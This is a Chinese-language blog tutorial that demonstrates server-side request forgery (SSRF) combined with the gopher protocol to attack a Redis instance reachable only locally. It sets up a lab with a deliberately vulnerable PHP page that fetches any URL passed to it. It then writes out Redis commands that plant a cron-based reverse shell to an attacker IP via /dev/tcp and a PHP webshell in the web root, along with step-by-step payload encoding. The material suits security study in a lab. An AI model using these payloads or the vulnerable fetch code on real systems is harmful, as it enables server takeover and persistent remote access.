你真的会利用SSRF漏洞?一文教你如何利用SSRF配合gopher协议拿下服务器

SSRF漏概述

SSRF(服务器端请求伪造)是种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下SSRF攻击的目标是从外网无法访问的内部系统

SSRF原理

由于服务端提供了从其他服务器应⽤获取数据的功能,但没有对地址和协议等做过滤和限制。使得攻击者可以利⽤存在缺陷的web应⽤作为代理,攻击其远程和本地的服务器

SSRF能做的事情

可以对外网服务器所在的内网、本地进行端口扫描务的banner信息
攻击运行在内网或者本地的应用程序
对内网web应用进行指纹识别,通过访问默认文件实现
攻击内外网的web应用。sql注入、struct2、redis等
利用file协议读取本地文件等

这里演示的是利用gopher协议去对redis数据库写入反弹shell和webshell

在真实环境中 我们找到了一个带有ssrf的网站,通过端口扫描发现一台只能本地访问的redis服务器
curl gopher通过SSRF写一个反弹shell和webshell

环境配置

一台linux靶机  里面有中间件和redis数据库

一台kali做为攻击机

环境配置

安装小皮面板

1 . 安装小皮面板

yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh

2 . 登录小皮面板 => 开启apache服务 => 就在首页启动即可(其他不需要安装php已经自带有了)

3 . 安装redis服务

1 . yum install -y gcc
​
2 . wget https://download.redis.io/releases/redis-6.2.6.tar.gz
​
3 . tar -zxvf redis-6.2.6.tar.gz
​
4 . cd redis-6.2.6
​
5 . make

安装redis数据库

安装完成之后把配置文件复制到src目录下并修改配置文件

 

配置完启动redis

./redis-server redis.conf 

写一个ssrf漏洞的php文件到小皮的根目录

/www/admin/localhost_80/wwwroot/
<?php
$url = $_GET['url'];
echo $url;
#var_dump(curl_version());
$curlobj = curl_init($url);
echo curl_exec($curlobj);
?>

利用过程

1 构造一个反弹shell的语句,URL编码加上gopher的特性把%0a变成%0d%0a最后面加上%0d%0a,
2 构造完成之后进行二次URL编码,http特性会自动解一次码,
3 再通过构造的gohper协议的语句进行url编码最后拼接curl hllp://目标ip/ssrf php?url=gopher://127.0.0.1:6379/_
4 注意要对参数后面的gopher进行编码,因为http特性会自动解一次码把  :        //        /都编码
5 再使用ssrf的漏洞对redis进行跳板写入反弹shell

先把反弹的shell进行URL编码

set xx   "\n* * * * * bash -i >& /dev/tcp/攻击者的ip/端口 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

再把编码的东西%0a换成%0d%0a,最后再加上%0d%0a,加完之后再拿到bp进行第二次编码

 

 对参数的gopher协议进行编码

gopher://127.0.0.1:6379/_

编完码之后与上面二次编码的payload进行拼接

curl http://目标ip/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_

 使用kali进行攻击

 等待计划任务的反弹shell

 

反弹成功

再是写入一个webshell

和反弹shell一样的原理我们只需要修改计划任务里的构造语句,使用http协议要进行二次编码,再进行拼接就行了

set tom "\n\n\n\n* * * * * <?php phpinfo();?>\n\n\n\n"
config set dir /www/admin/localhost_80/wwwroot/
config set dbfilename shell.php
save

成功写入

总结:

gopher协议 会默认用url编码
gopher:编码的注意事项(一定要放到bp编码)
? 需要编码
空格 需要编码
在每个段落结束都需要加上%0d%0a
几个段得变成一行

配合http协议就得再次对构造的payload进行编码,http的特性会默认解一次码,所以要对gopher协议后面的内容进行二次编码,http协议的要一次编码

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值